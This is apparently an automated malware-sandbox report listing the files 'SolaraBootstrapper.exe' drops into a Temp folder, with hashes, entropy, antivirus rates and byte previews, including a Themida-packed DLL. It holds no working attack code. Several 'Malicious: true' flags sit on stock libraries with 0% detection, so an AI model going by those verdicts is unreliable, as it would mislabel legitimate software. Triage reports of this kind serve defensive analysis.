Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-json version: 2.1.1(0e6ea95f4f4e093db9201c502e8d401391803233). * Released under the MIT license. * https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.!function(e){if("object"==typeof module&&"object"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else"function"==typeof define&&define.amd&&define("vscode-languageserver-types/main",["require","exports"],e)}(function(e,t){"use strict";var a,r,n,o,i,s,u,c,f,l,p,h,d;Object.defineProperty(t,"__esModule",{value:!0}),(r=a=t.Position\|\|(t.Position={})).create=function(e,t){return{line:e,character:t}},r.is=function(e){var t=e;return N.defined(t)&&N.number(t.line)&&N.number(t.character)},(o=n=t.Range\|\|(t.Range={})).create=function(e,t,r,n){if(N.number(e)&&N.number(t)&&N.nu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\typescript\lib\typescriptservices.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65127)
Category:	dropped
Size (bytes):	1683029
Entropy (8bit):	5.332692808632381
Encrypted:	false
SSDEEP:	49152:G6qR6wZ7g2oZNDR3Oy4mtYsT2ACKRRrcLHd5:W61/4mTy
MD5:	0A1A293455F5451BA11E07386EA62D4F
SHA1:	D6A43C68812A3DCDDC2973DB3F2DD8A6B0E45F1E
SHA-256:	90E98063C644749A948EDD5A7801F7B00C554E3189FE7C2811926B01EAF1B41F
SHA-512:	1674E2AD75C53F99475743618EC59D90CE8EB262131C15DAEAD963ECB847CB70278A6D4608C66710C3CD5E92E03B5552A05401B6B008184DBF892683B27CA34A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-typescript version: 3.1.0(64641eebb2d0dca62499cc1b822970ea72efbfce). * Released under the MIT license. * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.var __assign=this&&this.__assign\|\|Object.assign\|\|function(e){for(var t,r=1,n=arguments.length;r<n;r++)for(var a in t=arguments[r])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e},__extends=this&&this.__extends\|\|function(){var n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var r in t)t.hasOwnProperty(r)&&(e[r]=t[r])};return function(e,t){function r(){this.constructor=e}n(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}}();!function(e){var t,r,n,a,i,o,s,c,u;(t=e.Comparison\|\|(e.Comparison

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\typescript\tsmode.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (19975)
Category:	dropped
Size (bytes):	20384
Entropy (8bit):	5.167653869684314
Encrypted:	false
SSDEEP:	384:hgFzm27hrrEZAmdHpjHenNvaOm/6xS1oTEXx3KjFRMqxRh2l3eBVq1A8WKm3d5vp:2FyHhzHenNvaF6xCoSx3KjFqqxL21eBp
MD5:	8C1A82479C380D2B2C6B096E12EE9632
SHA1:	78E429DD4A9279267679423DDB0B6D06C11172AC
SHA-256:	70957C5EDE2834ADF1B5BC264E119F82B4E8E6C169FC8FF140D637D1C5287BD9
SHA-512:	409C8724ECFA045A7563B5C142EF0A107BFFE126140BCBE5202DAD59B9BA5EC0DB91C74C77D5A60BE92110B9D0C942FAC61A782EE30A4288774F547F303E1C4A
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-typescript version: 3.1.0(64641eebb2d0dca62499cc1b822970ea72efbfce). * Released under the MIT license. * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/typescript/tokenization",["require","exports","./lib/typescriptServices"],function(e,t,f){"use strict";var h,n;Object.defineProperty(t,"__esModule",{value:!0}),(n=h=t.Language\|\|(t.Language={}))[n.TypeScript=0]="TypeScript",n[n.EcmaScript5=1]="EcmaScript5",t.createTokenizationSupport=function(e){var n=f.createClassifier(),r=e===h.TypeScript?i:s,o=e===h.TypeScript?a:c;return{getInitialState:function(){return new v(e,f.EndOfLineState.None,!1)},tokenize:function(e,t){return function(e,t,n,r,o){var i={tokens:[],endState:new v(r.language,f.EndOfLineState.None,!1)};functi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\typescript\tsworker.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65127)
Category:	dropped
Size (bytes):	1776808
Entropy (8bit):	4.928903604752642
Encrypted:	false
SSDEEP:	24576:pQIJc020hIvUjQQ0s2oI4Q0s2oI4QIJc020hIvUjQQ0s2oI4Q0s2oIq:Qo3MfgfHo3Mfgfq
MD5:	1E0047691C3637AD1E0DA62023BA0E0D
SHA1:	64902C923C2194E007BC727F7EA4F30B3A796DAB
SHA-256:	2CCC6B6B1B5D884FE8DF3E7B2F2BACCA0C4529B68BBFE3C547FCC74F204CC5D1
SHA-512:	C1BEF7BFD60ACFCFB206B9631F8A730B787E94101D519D157D346D8377104D1302C0E9853BA2DB944D63F03B181511950B9EA25DD21E41F40B4AEBA4BC44C0C8
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-typescript version: 3.1.0(64641eebb2d0dca62499cc1b822970ea72efbfce). * Released under the MIT license. * https://github.com/Microsoft/monaco-typescript/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/typescript/lib/lib-ts",["require","exports"],function(e,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.contents='/! ***************************************************************************\nCopyright (c) Microsoft Corporation. All rights reserved. \nLicensed under the Apache License, Version 2.0 (the "License"); you may not use\nthis file except in compliance with the License. You may obtain a copy of the\nLicense at http://www.apache.org/licenses/LICENSE-2.0 \n \nTHIS CODE IS PROVIDED ON AN AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\loader.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1024)
Category:	dropped
Size (bytes):	28566
Entropy (8bit):	5.224786396048958
Encrypted:	false
SSDEEP:	768:3J6C/c2x0cAu57XQxJRDRi+R/TvrCv3zM2GRl0VEj:Z6grH7qTXRvmDI
MD5:	8A3086F6C6298F986BDA09080DD003B1
SHA1:	8C7D41C586BFA015FB5CC50A2FDC547711B57C3C
SHA-256:	0512D9ED3E5BB3DAEF94AA5C16A6C3E2EE26FFED9DE00D1434FFE46A027B16B9
SHA-512:	9E586742F4E19938132E41145DEEC584A7B8C7E111B3C6E9254F8D11DB632EBE4D66898458ED7BCFC0614D06E20EB33D5A6A8EB8B32D91110557255CF1DBF017
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/."use strict";var _amdLoaderGlobal=this;!function(e){e.global=_amdLoaderGlobal;var t=function(){function t(){this._detected=!1,this._isWindows=!1,this._isNode=!1,this._isElectronRenderer=!1,this._isWebWorker=!1}return Object.defineProperty(t.prototype,"isWindows",{get:function(){return this._detect(),this._isWindows},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"isNode",{get:function(){return this._detect(),this._isNode},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"isElectronRenderer",{get:function(){return this._detect(),this._isElectronRenderer},enumerable:!0,configurable:!0}),Object.defineProperty(t.pr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	711952
Entropy (8bit):	5.967185619483575
Encrypted:	false
SSDEEP:	12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
MD5:	195FFB7167DB3219B217C4FD439EEDD6
SHA1:	1E76E6099570EDE620B76ED47CF8D03A936D49F8
SHA-256:	E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
SHA-512:	56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..\|....(......._..{........+,..{\|....3...{{......(....,...{{.....{}.......-.....0...........-.r...ps....z.o......-.~.....~....

C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	137144
Entropy (8bit):	6.122084762995293
Encrypted:	false
SSDEEP:	3072:e5i6Uab3sFhPk6vEmG1PU6dLXm2ng3esQDqEt2JljdTu:e5P2e6vERtUyTmHEtmI
MD5:	A0BD0D1A66E7C7F1D97AEDECDAFB933F
SHA1:	DD109AC34BEB8289030E4EC0A026297B793F64A3
SHA-256:	79D7E45F8631E8D2541D01BFB5A49A3A090BE72B3D465389A2D684680FEE2E36
SHA-512:	2A50AE5C7234A44B29F82EBC2E3CFED37BF69294EB00B2DC8905C61259975B2F3A059C67AEAB862F002752454D195F7191D9B82B056F6EF22D6E1B0BB3673D50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...&.x`.........." ................@9....................................................`A........................................w.......i...(....`...................#...p......T...8.......................(....1..8........... .......h........................text............................... ..`.rdata.......0......................@..@.data...............................@....pdata..............................@..@.00cfg..(.... ......................@..@.gehcont4....0......................@..@.tls.........@......................@..._RDATA.......P......................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5464064
Entropy (8bit):	6.520984736197837
Encrypted:	false
SSDEEP:	98304:Com1p/B6MvSmaRI+VcDNkq4pmvhAHDfyyrhl:W1HZNkq4p
MD5:	AEAD90AB96E2853F59BE27C4EC1E4853
SHA1:	43CDEDDE26488D3209E17EFFF9A51E1F944EB35F
SHA-256:	46CFBE804B29C500EBC0B39372E64C4C8B4F7A8E9B220B5F26A9ADF42FCB2AED
SHA-512:	F5044F2EE63906287460B9ADABFCF3C93C60B51C86549E33474C4D7F81C4F86CD03CD611DF94DE31804C53006977874B8DEB67C4BF9EA1C2B70C459B3A44B38D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...,zh..........." ..0..VS..........uS.. ....S...... ........................S...........`.................................WuS.O.....S.T.....................S......tS.T............................................ ............... ..H............text....US.. ...VS................. ..`.rsrc...T.....S......XS.............@..@.reloc........S......^S.............@..B.................uS.....H...........\|...........88..`<H...........................................(>...^.(>..........%...}....:.(>.....}....:.(>.....}....^.(>..........%...}....:.(>.....}....:.(>.....}....v../.(>....,...f}......}...."..}......s......s....B../.(>....s....F../.(>....fs....b.{...../..{....f.{.....{..........0...........{......(....,....XX..z.u....,..{.....y....{.......>.{.....{........{......(.......0...........(....,..(.....(.......(?......0..........r...p.(.

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24616
Entropy (8bit):	6.846605128431621
Encrypted:	false
SSDEEP:	384:WruyxWfhWMLm0GfeQ1MgKlx+YY30Jl0huSwp+M:PlRhg8Ihep+M
MD5:	0485C463CD8D2AE1CBD42DF6F0591246
SHA1:	EA634140905078E8F687A031AE919CFF23C27E6F
SHA-256:	983F4D4C7B7330E7F5F091080C1E81905575EBCCD97E11DFF8A064979EC8D9B8
SHA-512:	DDF947A1B86C3826859570A3E1D59E4EC4564CFCF25C84841383A4B5F5AD6C2FE618078416AED201FB744D5FBD6C39DAB7C1E964DD5E148DA018A825FCC0044A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d......n.........." .........................................................@.......M....`..........................................................0..................(D..............T............................................................................rdata..............................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22568
Entropy (8bit):	6.982006854843047
Encrypted:	false
SSDEEP:	384:W3q6nWm5CpWfhWNLm0Gf3Jl0huSwJ+Ruh91MgKlx+YV:l6nWm5Ce4RVheJUUwg8V
MD5:	1193F810519FBC07BEB3FFBAD3247FC4
SHA1:	DB099628A19B2D34E89028C2E16BC89DF28ED78F
SHA-256:	AB2158FE6B354FB429F57F374CA25105B44E97EDCBDC1B752650D895DADD6FD1
SHA-512:	3222A10C3BE5098ACA0211015EFE75CFBCD408FD28315ACEDD016D8F77513F81E207536B072001525965635DA39C4AAE8EF9F6AD367F5D695DE67B1614179353
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d.....`W.........." .........................................................0.......x....`.......................................................... ..................(D..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21544
Entropy (8bit):	6.9468057879019485
Encrypted:	false
SSDEEP:	384:WTY3eRWfhWILm0Gf/fReAplx4bZak3Jb1MgKlx+YgW:4GtRCaog8gW
MD5:	A22F9A4CBD701209842B204895FEDF37
SHA1:	72FA50160BAF1F2EA2ADCFF58F3F90A77A59D949
SHA-256:	2EE3D52640D84AC4F7F7DDFE748F51BAA6FD0D492286C781251222420E85CA97
SHA-512:	903755D4FA6651669295A10E66BE8EA223CD8D5AD60EBE06188D8B779FEF7E964D0AA26DC5479F14AAB655562D3C1EF76B86790FB97F991EAF52DA0F70E40529
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d....n.p.........." .........................................................0............`.......................................................... ..................(D..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21032
Entropy (8bit):	7.013076607206084
Encrypted:	false
SSDEEP:	384:WyWfhWGLm0Gfdx46gl9iFoQ0E642zlxCHj0:ETRg1Goj0
MD5:	BA17B278FFF2C18E34E47562DDDE8166
SHA1:	BED762D11B98737FCF1D1713D77345EC4780A8C2
SHA-256:	C36F5C0AC5D91A8417866DD4D8C670C2192BA83364693E7438282FB8678C3D1E
SHA-512:	72516B81606CCF836549C053325368E93264FDEBC7092E42E3DF849A16CCEFA81B7156AE5609E227FAA7C9C1BF9D68B2AC349791A839F4575728F350DD048F27
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d................." .........................................................0............`.............................................e............ ..................(D..............T............................................................................rdata..u...........................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29528
Entropy (8bit):	6.6427838968097115
Encrypted:	false
SSDEEP:	384:WSQUbM4Oe59Ckb1hgmLVWfhWFLm0GfBOeAplx4bZe1TTTXZl1OS:vRMq59Bb1jycR5aCUS
MD5:	C4CAC2D609BB5E0DA9017EBB535634CE
SHA1:	51A264CE4545A2F0D9F2908771E01E001B4E763E
SHA-256:	7C3336C3A50BF3B4C5492C0D085519C040878243E9F7D3EA9F6A2E35C8F1F374
SHA-512:	3B55BDBC5132D05AB53852605AFE6ED49F4B3DECDDE8B11F19A621A78A37D98C7AEAAA8C10BF4565B9B50162816305FA5192EE31950A96DC08AE46BFC6AF4FFE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d...Q............." .........,...............................................P............`..............................................%...........@...............0..XC..............T............................................................................rdata...&.......(..................@..@.rsrc........@.......,..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12064
Entropy (8bit):	6.023451177450861
Encrypted:	false
SSDEEP:	192:+aajPrpJhhf4AN5/KiZWshWPBBbJz8Gjdv6suAH/7gq:+lbr7vWshWpB7dysuzq
MD5:	894E538FBD29D9AF2DAC82ABBB798AA8
SHA1:	3C28B3063CE80B3FD61E0AFC6934E3180F5BEF12
SHA-256:	B12679D33126D2DCB0CD3625FCCF5C3AFC40D95C1BE36DC55F7471DE94929D23
SHA-512:	32AD7F4BA21C7EC47B374ED776CC1662DE23A955A00AAB509D9B82A9F4AA4B46580933C3382A1CFFA526D93AF686013104CA1D8D50AB3BAB02A291E64B88A884
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d...J.E..........." .........................................................@............`.........................................0...4............0.................. ...............T............................................................................rdata..d...........................@..@.rsrc........0......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	6.801712192449325
Encrypted:	false
SSDEEP:	384:WnZpFVhXWfhW2Lm0Gfi3RKllGBwLeb+Jl0huSwpSs:a+rRlkLelhepSs
MD5:	5DF2410C0AFD30C9A11DE50DE4798089
SHA1:	4112C5493009A1D01090CCAE810500C765DC6D54
SHA-256:	E6A1EF1F7C1957C50A3D9C1D70C0F7B0D8BADC7F279CD056EB179DC256BFEFDA
SHA-512:	8ECB79078D05D5B2A432F511953985B3253D5D43D87709A5795709EE8DBCA63C5F1166ED94D8984C13F2EA06ADFA7D6B82C6735C23C6E64F2F37A257066864E6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d...U.x..........." ......... ...............................................@......H.....`.............................................a............0...............$..(D..............T............................................................................rdata..a...........................@..@.rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	6.800237451475615
Encrypted:	false
SSDEEP:	768:96S5yguNvZ5VQgx3SbwA71IkFD7RwL9il:9l5yguNvZ5VQgx3SbwA71IEVwL9il
MD5:	AACADE02D7AAF6B5EFF26A0E3A11C42D
SHA1:	93B8077B535B38FDB0B7C020D24BA280ADBE80C3
SHA-256:	E71D517E6B7039437E3FC449D8AD12EEECA0D5C8ED1C500555344FD90DDC3207
SHA-512:	E02FCBCB70100F67E65903D8B1A7E6314CABFB0B14797BD6E1C92B7BCB3994A54133E35D16DA0A29576145B2783221330591526F856B79A25C0575FC923985A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......WU...4e..4e..4e.vRe..4e.vRa..4e.vR...4e.vRg..4e.Rich.4e.................PE..d...<.L..........." ......... ...............................................@.......N....`..........................................................0...............$..(D..............T............................................................................rdata..............................@..@.rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\bin\path.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:oNUkh4E2J5xAIT:oN923fT
MD5:	EAD5DB84D1DC66F268698B78FD14B508
SHA1:	D9E53C863341E47C49CCC579A289F70CC08C9798
SHA-256:	8662DB334DD4FD937D6D129D360A855B549D962B7094F94732A4095F24559C34
SHA-512:	D07EE099DD7A19C24CF2EDD0D932E8D4498C7A16AC067D16103281B8406486DD711D6C09A960563B4FD7DE7B8260933F93953663A71248623D4F8273A2DE6BAB
Malicious:	false
Preview:	C:\Users\user\AppData\Local\Temp\

C:\Users\user\AppData\Local\Temp\Solara.Dir\bin\version.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:ydn:ydn
MD5:	DB4287A98EB528676BCAB5B4A46D219A
SHA1:	FD522FB6576DC2F6DC256EC70239DF855BFE9B3C
SHA-256:	56CBE3C372F86DC281CA8B3107962D7C546A861BDF975A75C245FB46526C50ED
SHA-512:	398DCBDE217127F3E6D6BB77B2F82B46B9B4E8F59A8E528D6F1480D0DB2701218718AE9D758B9631131219608D03C8EE1342B504783FDBADA6B9962B414FE302
Malicious:	false
Preview:	2.38

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4274176
Entropy (8bit):	7.970919874696969
Encrypted:	false
SSDEEP:	98304:nQ2f7IusS3o9S9l8uwtrW1nqemSh0c4PUArCoNNsWxEoF:nFrKC8uwtrmqer4RvDb
MD5:	77E486BF9BFC28EA34A8FB765EAB2ADF
SHA1:	52E1708F928AB76C3B0BC02E32843B9DE9CC9C54
SHA-256:	E71C8358419A8DD5F65ABE9C5AF5066E1BDB7B6DEA54844885E3B279BD10C082
SHA-512:	442885672A2B1C7668B210260D03FD928BAEA6BBBA9C2456D8BF4C10A525354A495AC9BECA3E5897F5E248E382F75F4230D7C8265785A6E26B86D59E0B6042F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$..........AD.h.D.h.D.h...k.P.h...m...h...l.e.h.D.h.E.h..jl.K.h..jk.V.h..jm...h...i.H.h. .i.G.h.D.i...h..m.K.h..ia.`.h..ih.E.h..i..E.h..ij.E.h.RichD.h.........................PE..d....$rf.........." ...'.N...~......X t...............................................A... .......................................... .......@.......P......0.s.................................................................................................... .M.......................... ..` p....`...p..................@..@ $I...........T..............@... ....@...\...\..............@..@ ............................@..@ ............................@..@ T...........................@..B.edata....... ......................@..@.idata.......@......................@....rsrc........P......................@..@.themida..]..`......................`...

C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	88576
Entropy (8bit):	7.430099859314604
Encrypted:	false
SSDEEP:	1536:LoreNTh3K49I3BbbHVlnOXrPBdfeISRAOl801AbcsqD95wSxdRf1:LoQTh6EMbb1lnOXrPXe7Yhq5Z9
MD5:	D213A75B1956398E4C36BCC2F93339BF
SHA1:	6A2739CC0E67F5593C744FBCBC8F00F12EEF9954
SHA-256:	ECE75D080F94DF4B3699389021337B1536CFED229D1325F09B03F0B0D6D85AB4
SHA-512:	D32DDAF4C6F8F8DF6C390D683E6C039F3B0D8F35F68F690B28BF88B17CAEDF0E11ABD3AEB2E46238D0CD0A91B2DB095CCA0782B4E27F04453EA4CB6DB38F4DD7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...q2............"...0..R............... .....@..... ....................................`...@......@............... ..............................................................@q..8............................................................ ..H............text....Q... ...R.................. ..`.rsrc................T..............@..@........................................H......../...+..........h[...............................................0..5........{....,...}.....r...p.s....(....r!..p.s.......(....Js....%o....o....&..(......(......(.....(.....(.....(.....(............s ...(!......0..-.......rY..p("......+....%o#...o$.....X....i2...&.............))..!....rc..pr...p.. (%....3..(......o&.......0..#.........('...}+......}.....\|+.....(...+..0..+.........('...}/......}0......}......\|/.....(...+..0..+.........('...}.......}.......}......\|.

C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821760
Entropy (8bit):	6.046120172014024
Encrypted:	false
SSDEEP:	6144:AOS6x0q6x9xNt587J72oHDH6CpoucA8OdtrFxU:TS6xp7lFR8ODE
MD5:	203400107A2717D8F4F00A7DF6969739
SHA1:	AADDE2FD6E8E363960D13DE1D603A63E56C0C2E9
SHA-256:	6F6DE861D4ADD275621FF52ED1695F691EFD7ED742D4B077CE43EB96F2C5CFBA
SHA-512:	4905829EBB3EEE6F7B2F6B4B97E20510F7565DD64F224E3AFBD826C62C33A57229E15349B463E9AE1B47B8BFCDD9C58F047A15488DD00FB8C702E6F4FB64CD4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2.F.S...S...S...+\..S..P....S..P....S..P....S..P....S...+...S......S...S..MS..a....S......S...0..S......S..Rich.S..........................PE..d....VIf.........." .....H...D......8+....................................................`..................................................................p...A..............4....{.......................\|..(....z..@............`..h............................text.../F.......H.................. ..`.rdata.......`.......L..............@..@.data....#...@.......$..............@....pdata...A...p...B...B..............@..@.rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	535040
Entropy (8bit):	6.393831638925329
Encrypted:	false
SSDEEP:	12288:InAnSwPc/1BzyLmI2MB1MqcUfCKHU1XAfK6ae:I6Pc/1BOKtaeqcUaZXm
